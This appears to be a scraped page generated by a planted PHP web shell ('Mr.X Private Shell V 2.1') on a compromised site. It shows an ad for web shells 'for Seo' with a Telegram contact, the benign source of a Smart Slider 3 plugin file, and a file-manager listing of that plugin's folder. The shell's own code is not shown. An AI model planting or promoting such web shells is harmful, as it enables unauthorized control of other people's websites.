__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\SmartSlider3\Widget;
use Nextend\Framework\Pattern\PluggableTrait;
use Nextend\Framework\Pattern\SingletonTrait;
use Nextend\SmartSlider3\Widget\Group\AbstractWidgetGroup;
use Nextend\SmartSlider3\Widget\Group\Arrow;
use Nextend\SmartSlider3\Widget\Group\Autoplay;
use Nextend\SmartSlider3\Widget\Group\Bar;
use Nextend\SmartSlider3\Widget\Group\Bullet;
use Nextend\SmartSlider3\Widget\Group\Shadow;
use Nextend\SmartSlider3\Widget\Group\Thumbnail;
class WidgetGroupFactory {
use SingletonTrait, PluggableTrait;
/** @var AbstractWidgetGroup[] */
private static $groups = array();
protected function init() {
new Arrow();
new Autoplay();
new Bar();
new Bullet();
new Shadow();
new Thumbnail();
$this->makePluggable('SliderWidgetGroup');
}
/**
* @param AbstractWidgetGroup $group
*/
public static function addGroup($group) {
self::$groups[$group->getName()] = $group;
}
/**
* @return AbstractWidgetGroup[]
*/
public static function getGroups() {
return self::$groups;
}
/**
* @param $name
*
* @return AbstractWidgetGroup
*/
public static function getGroup($name) {
return self::$groups[$name];
}
}
WidgetGroupFactory::getInstance();| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Arrow | Folder | 0775 |
|
|
| Autoplay | Folder | 0775 |
|
|
| Bar | Folder | 0775 |
|
|
| Bullet | Folder | 0775 |
|
|
| Group | Folder | 0775 |
|
|
| Shadow | Folder | 0775 |
|
|
| Thumbnail | Folder | 0775 |
|
|
| AbstractWidget.php | File | 1.93 KB | 0664 |
|
| AbstractWidgetFrontend.php | File | 4.22 KB | 0664 |
|
| SliderWidget.php | File | 5.98 KB | 0664 |
|
| WidgetGroupFactory.php | File | 1.31 KB | 0664 |
|
| WidgetPlacement.php | File | 280 B | 0664 |
|
| WidgetPlacementAdvanced.php | File | 2.72 KB | 0664 |
|
| WidgetPlacementSimple.php | File | 1.13 KB | 0664 |
|